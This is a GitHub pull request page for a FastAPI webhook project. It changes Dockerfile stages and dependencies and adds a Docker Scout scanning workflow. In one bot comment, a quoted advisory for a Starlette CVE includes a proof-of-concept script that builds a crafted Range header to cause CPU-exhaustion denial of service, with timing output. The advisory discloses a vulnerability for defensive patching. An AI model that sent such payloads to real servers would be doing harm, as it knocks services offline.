Skip to content

Fix/dependencies conflict and dockerfile image versions#1

Merged
LuisDevLipe merged 20 commits intomainfrom
fix/dependencies-conflict-and-dockerfile-image-versions
Feb 16, 2026
Merged

Fix/dependencies conflict and dockerfile image versions#1
LuisDevLipe merged 20 commits intomainfrom
fix/dependencies-conflict-and-dockerfile-image-versions

Conversation

@LuisDevLipe
Copy link
Owner

@LuisDevLipe LuisDevLipe commented Feb 15, 2026

Adciona GitHub Actions Workflow para Build, Publish and Scout da imagem Docker

Essa PR adiciona ao repositório um fluxo de trabalho no GitHub para construir a imagem Docker deste projeto utilizando os runners do GitHub.

O fluxo de trabalho é executado quando um novo commit é feito na branch main e quando um novo commit é feito em uma Pull Request.

Main branch

Quando o Fluxo está sendo executado na branch main ele apenas constrói a imagem Docker e a armazena no GitHub Packages.

Pull Requests

Quando o Fluxo está sendo executado em uma Pull Request ele apenas constrói a imagem, e então executa o Docker Scout.

O Docker scout realizará comentários no Pull Request infomando vulnerabilidades encontradas nos pacotes e na imagem base, recomendações, e uma visão geral comparando a imagem construída na PR e a última imagem salva no repositório.

Copilot PR Summary Overview

This pull request improves the Docker build process and enhances security checks for the project. The main changes are updates to the Dockerfile for dependency management and image composition, as well as enhancements to the GitHub Actions workflow to integrate vulnerability scanning and recommendations using Docker Scout.

Dockerfile improvements:

  • Upgraded the base Python image to use the specific version python:3.13.5, and split the build process into separate builder and deps stages for better dependency management and caching. Also, ensured pip, setuptools, and wheel are upgraded before installing dependencies.
  • Changed the runtime image to use gcr.io/distroless/python3-debian13:nonroot instead of the debug variant, and adjusted the COPY command to source curl from the new deps stage, improving security and image cleanliness. [1] [2]

GitHub Actions workflow enhancements:

  • Added the pull-requests: write permission to the workflow to enable PR-specific actions.
  • Modified the Docker build step to load the image locally when running on pull requests, making it available for further analysis.
  • Integrated Docker Scout into the workflow to automatically scan for vulnerabilities and provide recommendations on pull requests, comparing the built image to the latest published version. Credentials for Docker Hub and GitHub Container Registry are now passed securely for this process..
    This pull request updates the Docker build process for the application, focusing on improving dependency management, image layering, and permissions. The most important changes are grouped below:

Dependency and build improvements:

  • Updated the base Python image from python:3.13 to python:3.13.5 to ensure the latest patch is used.
  • Added explicit upgrade commands for pip, setuptools, and wheel, and moved the installation of dependencies to a dedicated builder stage for better reproducibility.
  • Introduced a new deps stage to separate dependency installation and external tool setup, improving image layering and clarity.

Runtime and permissions changes:

  • Changed the runtime image from debug-nonroot to nonroot for improved security and reduced image size.
  • Updated the COPY command for curl to copy from the new deps stage instead of builder, ensuring correct permissions and user ownership in the runtime image.

FastAPI depends on Starlette and Pydantic

Because of that, FastAPI will download the correct versions based on the selected FastAPI verion.
Removing pydantic, and starlette from the list will make sure that when FastAPI is installed the correct version dependencies are going to be added...

Similar with case explained above, Pydantic has 3 dependencies:
- pydantic-core
- typing_extensions
- annotated-types

All of them are being removed from the list of required dependencies, because FastAPI when downloading Pydantic for its own dependcy, will add Pydantic dependencies as well...

Similarly,  Uvicorn has dependies on click and h11. Both of which are being removed from the list, for same reasons explained above...

> **Except** for **uvloop**, UVloop is a asyncio library that is used by default from uvicorn, however it is only used when present... Otherwise, the default asyncio is used. And for this reason, uvloop is listed in the required dependencies...
> For Uvicorn version 0.32.1, uvloop must be >= 0.14.0, !=0.15.0, != 0.15.1. As per [uvicorn pyproject.toml 0.32.1](Kludex/uvicorn@0.32.0...0.32.1#diff-50c86b7ed8ac2cf95bd48334961bf0530cdc77b5a56f852c5c61b89d735fd711)
> The httptools==0.6.1 is listed in the same file mentioned above as imcompatible with Uvicorn 0.32.1. Hence why it is also removed from the list. It is also an optional depency.

Beucase idna and anyio are also dependencies used from higher level depencies they are being commented out from the requirements.txt
- changed :debug-nonroot image with :nonroot to reduce RCE attack surface.
- added correct image versions for python images to keep away version conflicts.
- added upgrade pip command just for the sake of it.
- added a new stage to separate the cURL install from the pip install to increase build time when developing...
- pull_request comment permission for the scout action
- username and password for docker hub using github secrets for authentication need to use scout
- scout now only runs on Pull requests
@github-actions
Copy link

github-actions bot commented Feb 16, 2026

Your image ghcr.io/luisdevlipe/lzluscas-gitlab-webhook-agent:pr-1 critical: 0 high: 1 medium: 1 low: 0
Current base image distroless/static:nonroot critical: 0 high: 0 medium: 0 low: 0

@github-actions
Copy link

github-actions bot commented Feb 16, 2026

Overview

Image reference ghcr.io/luisdevlipe/lzluscas-gitlab-webhook-agent:latest ghcr.io/luisdevlipe/lzluscas-gitlab-webhook-agent:pr-1
- digest 4d06fd1d53cd 0c554c9b807f
- tag latest pr-1
- provenance 1a220b5
- vulnerabilities critical: 0 high: 1 medium: 1 low: 0 critical: 0 high: 1 medium: 1 low: 0
- platform linux/amd64 linux/amd64
- size 42 MB 42 MB (-550 kB)
- packages 85 85
Base Image distroless/static:nonroot distroless/static:nonroot
- vulnerabilities critical: 0 high: 0 medium: 0 low: 0 critical: 0 high: 0 medium: 0 low: 0
Labels (8 changes)
  • + 8 added
+org.opencontainers.image.created=2026-02-16T03:23:14.466Z
+org.opencontainers.image.description=Um sistema criado para testar como funciona uma API criada por FastAPI, que recebe eventoss do GitLab quando uma issue for criada. De forma segura, e que consiga processar esses dados.
+org.opencontainers.image.licenses=
+org.opencontainers.image.revision=1a220b50b9212baeea420b0f1ca6135b74cc4337
+org.opencontainers.image.source=https://github.com/LuisDevLipe/LzLuscas-gitlab-webhook-agent
+org.opencontainers.image.title=LzLuscas-gitlab-webhook-agent
+org.opencontainers.image.url=https://github.com/LuisDevLipe/LzLuscas-gitlab-webhook-agent
+org.opencontainers.image.version=pr-1

@github-actions
Copy link

github-actions bot commented Feb 16, 2026

🔍 Vulnerabilities of ghcr.io/luisdevlipe/lzluscas-gitlab-webhook-agent:pr-1

📦 Image Reference ghcr.io/luisdevlipe/lzluscas-gitlab-webhook-agent:pr-1
digestsha256:0c554c9b807fb8278fe74a7e1399fa1ef4d6fbb1eb4725f27fa01946b333bb3a
vulnerabilitiescritical: 0 high: 1 medium: 1 low: 0
platformlinux/amd64
size42 MB
packages85
📦 Base Image gcr.io/distroless/static:nonroot
digestsha256:66e7173f385da0ba1311e42b21d366b7dc1de213e78e7df170ca9eb14bc04c4f
vulnerabilitiescritical: 0 high: 0 medium: 0 low: 0
critical: 0 high: 1 medium: 1 low: 0 starlette 0.41.3 (pypi)

pkg:pypi/starlette@0.41.3

high 7.5: CVE--2025--62727 Uncontrolled Resource Consumption

Affected range>=0.39.0
<=0.49.0
Fixed version0.49.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.532%
EPSS Percentile67th percentile
Description

Summary

An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details

Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.

# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):
    @staticmethod
    def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
        ranges: list[tuple[int, int]] = []
        try:
            units, range_ = http_range.split("=", 1)
        except ValueError:
            raise MalformedRangeHeader()

        # [...]

        ranges = [
            (
                int(_[0]) if _[0] else file_size - int(_[1]),
                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
            )
            for _ in _RANGE_PATTERN.findall(range_) # vulnerable
            if _ != ("", "")
        ]

The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

This affects any Starlette application that uses:

  • starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
  • Direct starlette.responses.FileResponse responses

PoC

#!/usr/bin/env python3

import sys
import time

try:
    import starlette
    from starlette.responses import FileResponse
except Exception as e:
    print(f"[ERROR] Failed to import starlette: {e}")
    sys.exit(1)


def build_payload(length: int) -> str:
    """Build the Range header value body: '0' * num_zeros + '0-'"""
    return ("0" * length) + "a-"


def test(header: str, file_size: int) -> float:
    start = time.perf_counter()
    try:
        FileResponse._parse_range_header(header, file_size)
    except Exception:
        pass
    end = time.perf_counter()
    elapsed = end - start
    return elapsed


def run_once(num_zeros: int) -> None:
    range_body = build_payload(num_zeros)
    header = "bytes=" + range_body
    # Use a sufficiently large file_size so upper bounds default to file size
    file_size = max(len(range_body) + 10, 1_000_000)
    
    print(f"[DEBUG] range_body length: {len(range_body)} bytes")
    elapsed_time = test(header, file_size)
    print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")


if __name__ == "__main__":
    print(f"[INFO] Starlette Version: {starlette.__version__}")
    for n in [5000, 10000, 20000, 40000]:
        run_once(n)

"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""

Impact

Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

medium 5.3: CVE--2025--54121 Allocation of Resources Without Limits or Throttling

Affected range<0.47.2
Fixed version0.47.2
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.104%
EPSS Percentile28th percentile
Description

Summary

When parsing a multi-part form with large files (greater than the default max spool size) starlette will block the main thread to roll the file over to disk. This blocks the event thread which means we can't accept new connections.

Details

Please see this discussion for details: Kludex/starlette#2927 (reply in thread). In summary the following UploadFile code (copied from here) has a minor bug. Instead of just checking for self._in_memory we should also check if the additional bytes will cause a rollover.

    @property
    def _in_memory(self) -> bool:
        # check for SpooledTemporaryFile._rolled
        rolled_to_disk = getattr(self.file, "_rolled", True)
        return not rolled_to_disk

    async def write(self, data: bytes) -> None:
        if self.size is not None:
            self.size += len(data)

        if self._in_memory:
            self.file.write(data)
        else:
            await run_in_threadpool(self.file.write, data)

I have already created a PR which fixes the problem: Kludex/starlette#2962

PoC

See the discussion here for steps on how to reproduce.

Impact

To be honest, very low and not many users will be impacted. Parsing large forms is already CPU intensive so the additional IO block doesn't slow down starlette that much on systems with modern HDDs/SSDs. If someone is running on tape they might see a greater impact.

@github-actions
Copy link

github-actions bot commented Feb 16, 2026

Recommended fixes for image ghcr.io/luisdevlipe/lzluscas-gitlab-webhook-agent:pr-1

Base image is :nonroot

Digest
Vulnerabilities
Size0 B
Packages0

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

✅ There are no tag recommendations at this time.

…formation about the cves, and recommendations for the built image. As well as comparing it with the latest on the repo
@LuisDevLipe LuisDevLipe merged commit 2133e41 into main Feb 16, 2026
1 of 2 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant